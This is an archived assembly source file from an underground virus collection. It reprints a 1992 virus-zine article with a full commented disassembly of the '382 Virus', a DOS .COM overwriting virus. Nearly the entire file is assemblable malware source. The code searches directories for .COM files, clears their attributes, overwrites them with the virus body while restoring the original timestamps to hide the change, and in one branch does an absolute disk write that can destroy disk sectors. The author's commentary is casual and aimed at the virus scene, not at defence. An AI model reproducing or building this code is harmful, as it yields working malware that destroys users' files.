home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 382.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.5 KB  |  244 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3.  
  4.  
  5. Article Title: 382 Virus
  6.  
  7. Author: Admiral Bailey
  8.  
  9.  
  10.  
  11.  
  12.  
  13. ;=---
  14.  
  15. ;
  16.  
  17. ; 382 Virus (Family-Q as McAfee 91 calls it)
  18.  
  19. ;
  20.  
  21. ; Disassembled By Admiral Bailey [YAM '92]
  22.  
  23. ; June 25, 1992
  24.  
  25. ;
  26.  
  27. ; The writer of this is unknown to me... maybe you should put some of
  28.  
  29. ; your info in it.
  30.  
  31. ;
  32.  
  33. ; Notes:This virus I found on a board and got right to it.  It wasnt
  34.  
  35. ;       too hard to disassemble since there was no encryption.  Its an
  36.  
  37. ;       .com over writing virus.  Yes there is ????????exe inside the
  38.  
  39. ;       file but I don't know what the hell that is.  If you run it it
  40.  
  41. ;       only overwrits the com files.  It probably get exe files if no
  42.  
  43. ;       com files are found.  But anyways there seems to be a bug in
  44.  
  45. ;       the original virus.  Put it in a directory and run it it will
  46.  
  47. ;       display crap and crash the computer.  With out doing any
  48.  
  49. ;       damage.  If you want any more info check it out for yourself.
  50.  
  51. ;       All i did this time was comment it.. cuz i found this to be a
  52.  
  53. ;       boring run of the mill virus.  Anyways here it is.
  54.  
  55. ;
  56.  
  57. ;=---------
  58.  
  59.  
  60.  
  61. PAGE  59,132                                    ; I gotta check out
  62.  
  63.                                                 ; what this means...
  64.  
  65.  
  66.  
  67. data_1e         equ     9Eh
  68.  
  69. data_15e        equ     0E000h
  70.  
  71. data_17e        equ     0E17Eh
  72.  
  73.  
  74.  
  75. seg_a           segment byte public
  76.  
  77.                 assume  cs:seg_a, ds:seg_a
  78.  
  79.                 org     100h
  80.  
  81.  
  82.  
  83. 382             proc    far
  84.  
  85.  
  86.  
  87. start:
  88.  
  89.                 jmp     short $+2               ; just there to confuse
  90.  
  91.                 mov     cs:data_4,0             ; actually jumps to here
  92.  
  93.                 mov     ah,19h                  ; get default drive
  94.  
  95.                 int     21h
  96.  
  97.                 mov     cs:data_11,al           ; save default drive
  98.  
  99.                 mov     ah,47h                  ; get present dir of
  100.  
  101.                 mov     dl,0                    ;   current drive
  102.  
  103.                 lea     si,data_13              ; holds directory name
  104.  
  105.                 int     21h
  106.  
  107.                 clc
  108.  
  109. loc_1:
  110.  
  111.                 jnc     loc_2                   ; if no error then jump
  112.  
  113.                 mov     ah,17h                  ; rename file
  114.  
  115.                 lea     dx,data_7               ; Load effective addr
  116.  
  117.                 int     21h
  118.  
  119.                 cmp     al,0FFh                 ; is there an error?
  120.  
  121.                 jne     loc_2                   ; no then jump
  122.  
  123.                 mov     ah,2Ch                  ; get current time
  124.  
  125.                 int     21h
  126.  
  127.  
  128.  
  129.                 mov     al,cs:data_11           ; drive
  130.  
  131.                 mov     bx,dx                   ; buffer
  132.  
  133.                 mov     cx,2                    ; # of sectors
  134.  
  135.                 mov     dh,0                    ; parm block
  136.  
  137.                 int     26h                     ; Absolute disk write
  138.  
  139.                 jmp     loc_9
  140.  
  141.  
  142.  
  143. loc_2:
  144.  
  145.                 mov     ah,3Bh                  ; set the current
  146.  
  147.                 lea     dx,data_10              ; directory
  148.  
  149.                 int     21h
  150.  
  151.  
  152.  
  153.                 jmp     short loc_6
  154.  
  155. loc_3:
  156.  
  157.                 mov     ah,17h                  ; rename file
  158.  
  159.                 lea     dx,data_7
  160.  
  161.                 int     21h
  162.  
  163.  
  164.  
  165.                 mov     ah,3Bh                  ; set current directory
  166.  
  167.                 lea     dx,data_10
  168.  
  169.                 int     21h
  170.  
  171.  
  172.  
  173.                 mov     ah,4Eh                  ; find first file
  174.  
  175.                 mov     cx,11h
  176.  
  177.                 lea     dx,data_6               ; file type
  178.  
  179.                 int     21h
  180.  
  181.  
  182.  
  183.                 jc      loc_1                   ; Jump if carry Set
  184.  
  185.                 mov     bx,cs:data_4            ; put value in bx
  186.  
  187.                 inc     bx                      ; check to see if it is
  188.  
  189.                 dec     bx                      ; zero
  190.  
  191.                 jz      loc_5
  192.  
  193. loc_4:
  194.  
  195.                 mov     ah,4Fh                  ; find next file
  196.  
  197.                 int     21h
  198.  
  199.  
  200.  
  201.                 jc      loc_1                   ; none found then jump
  202.  
  203.                 dec     bx
  204.  
  205.                 jnz     loc_4                   ; Jump if not zero
  206.  
  207. loc_5:
  208.  
  209.                 mov     ah,2Fh                  ; get dta
  210.  
  211.                 int     21h                     
  212.  
  213.  
  214.  
  215.                 add     bx,1Ch
  216.  
  217.                 mov     word ptr es:[bx],5C20h
  218.  
  219.                 inc     bx
  220.  
  221.                 push    ds                      ; save ds
  222.  
  223.                 mov     ax,es                   ; putting es into ds
  224.  
  225.                 mov     ds,ax
  226.  
  227.                 mov     dx,bx
  228.  
  229.                 mov     ah,3Bh                  ; get current dir
  230.  
  231.                 int     21h                     
  232.  
  233.  
  234.  
  235.                 pop     ds                      ; get old ds
  236.  
  237.                 mov     bx,cs:data_4
  238.  
  239.                 inc     bx
  240.  
  241.                 mov     cs:data_4,bx
  242.  
  243. loc_6:
  244.  
  245.                 mov     ah,4Eh                  ; find first file
  246.  
  247.                 mov     cx,1
  248.  
  249.                 lea     dx,data_5               ; type to find
  250.  
  251.                 int     21h                     
  252.  
  253.  
  254.  
  255.                 jc      loc_3                   ; none found then jump
  256.  
  257.                 jmp     short loc_8
  258.  
  259. loc_7:
  260.  
  261.                 mov     ah,4Fh                  ; find next file
  262.  
  263.                 int     21h
  264.  
  265.                                                 
  266.  
  267.                 jc      loc_3                   ; none found then jump
  268.  
  269. loc_8:
  270.  
  271.                 mov     ah,3Dh                  ; open file
  272.  
  273.                 mov     al,0
  274.  
  275.                 mov     dx,data_1e
  276.  
  277.                 int     21h
  278.  
  279.                                                 
  280.  
  281.                 mov     bx,ax                   ; file name in bx
  282.  
  283.                 mov     ah,3Fh                  ; read file
  284.  
  285.                 mov     cx,17Eh                 ; number of bytes
  286.  
  287.                 nop
  288.  
  289.                 mov     dx,data_15e             ; buffer to hold the
  290.  
  291.                 nop                             ; bytes
  292.  
  293.                 int     21h                     
  294.  
  295.  
  296.  
  297.                 mov     ah,3Eh                  ; close the file
  298.  
  299.                 int     21h                     
  300.  
  301.  
  302.  
  303.                 mov     bx,cs:data_15e
  304.  
  305.                 cmp     bx,0EBh
  306.  
  307.                 je      loc_7
  308.  
  309.                 mov     ah,43h                  ; get attrib
  310.  
  311.                 mov     al,0
  312.  
  313.                 mov     dx,data_1e              ; filename
  314.  
  315.                 int     21h
  316.  
  317.  
  318.  
  319.                 mov     ah,43h                  ; set attrib
  320.  
  321.                 mov     al,1
  322.  
  323.                 and     cx,0FEh
  324.  
  325.                 int     21h
  326.  
  327.  
  328.  
  329.                 mov     ah,3Dh                  ; open up the file
  330.  
  331.                 mov     al,2
  332.  
  333.                 mov     dx,data_1e              ; filename
  334.  
  335.                 int     21h                     
  336.  
  337.                                                 
  338.  
  339.                 mov     bx,ax                   ; filename
  340.  
  341.                 mov     ah,57h                  ; get files date and
  342.  
  343.                 mov     al,0                    ; time
  344.  
  345.                 int     21h
  346.  
  347.  
  348.  
  349.                 push    cx                      ; save time
  350.  
  351.                 push    dx
  352.  
  353.                 mov     dx,word ptr cs:[23Ch]
  354.  
  355.                 mov     cs:data_17e,dx
  356.  
  357.                 mov     dx,word ptr cs:data_15e+1
  358.  
  359.                 lea     cx,cs:[13Bh]
  360.  
  361.                 sub     dx,cx
  362.  
  363.                 mov     word ptr cs:[23Ch],dx
  364.  
  365.                 mov     ah,40h                  ; write to file
  366.  
  367.                 mov     cx,17Eh                 ; size of virus [382]
  368.  
  369.                 nop
  370.  
  371.                 lea     dx,ds:[100h]            ; Load effective addr
  372.  
  373.                 int     21h                     
  374.  
  375.                                                 
  376.  
  377.                 mov     ah,57h                  ; set files time+date
  378.  
  379.                 mov     al,1
  380.  
  381.                 pop     dx                      ; get old date+time
  382.  
  383.                 pop     cx
  384.  
  385.                 int     21h                     
  386.  
  387.  
  388.  
  389.                 mov     ah,3Eh                  ; close up the file
  390.  
  391.                 int     21h
  392.  
  393.  
  394.  
  395.                 mov     dx,cs:data_17e
  396.  
  397.                 mov     word ptr cs:[23Ch],dx
  398.  
  399. loc_9:
  400.  
  401.                 call    sub_1
  402.  
  403.                 jmp     $-3618h
  404.  
  405.                 db      0B4h, 4Ch,0CDh, 21h     ; bytes to quit
  406.  
  407.                                                 ; mov ax,4c00h
  408.  
  409.                                                 ; int 21
  410.  
  411.  
  412.  
  413. 382             endp
  414.  
  415.  
  416.  
  417. sub_1           proc    near
  418.  
  419.                 mov     ah,3Bh                  ; set current dir
  420.  
  421.                 lea     dx,data_12              ; holds current
  422.  
  423.                 int     21h                     ; directory
  424.  
  425.                 retn
  426.  
  427. sub_1           endp
  428.  
  429.  
  430.  
  431. data_4          dw      0
  432.  
  433. data_5          db      2Ah
  434.  
  435.                 db       2Eh, 63h, 6Fh, 6Dh, 00h
  436.  
  437. data_6          db      2Ah
  438.  
  439.                 db      0
  440.  
  441. data_7          db      0FFh
  442.  
  443.                 db       00h, 00h, 00h, 00h, 00h, 3Fh
  444.  
  445.                 db       00h
  446.  
  447.                 db      3Fh
  448.  
  449.                 db      7 dup (3Fh)
  450.  
  451.                 db       65h, 78h, 65h, 00h, 00h, 00h
  452.  
  453.                 db       00h, 00h
  454.  
  455.                 db      3Fh
  456.  
  457.                 db      7 dup (3Fh)
  458.  
  459.                 db       63h, 6Fh, 6Dh, 00h
  460.  
  461. data_10         db      5Ch
  462.  
  463.                 db      0
  464.  
  465. data_11         db      4
  466.  
  467. data_12         db      5Ch
  468.  
  469. data_13         db      0
  470.  
  471.  
  472.  
  473. seg_a           ends
  474.  
  475.  
  476.  
  477.  
  478.  
  479.  
  480.  
  481.                 end     start
  482.  
  483.  
  484.  
  485.  
  486.  
  487.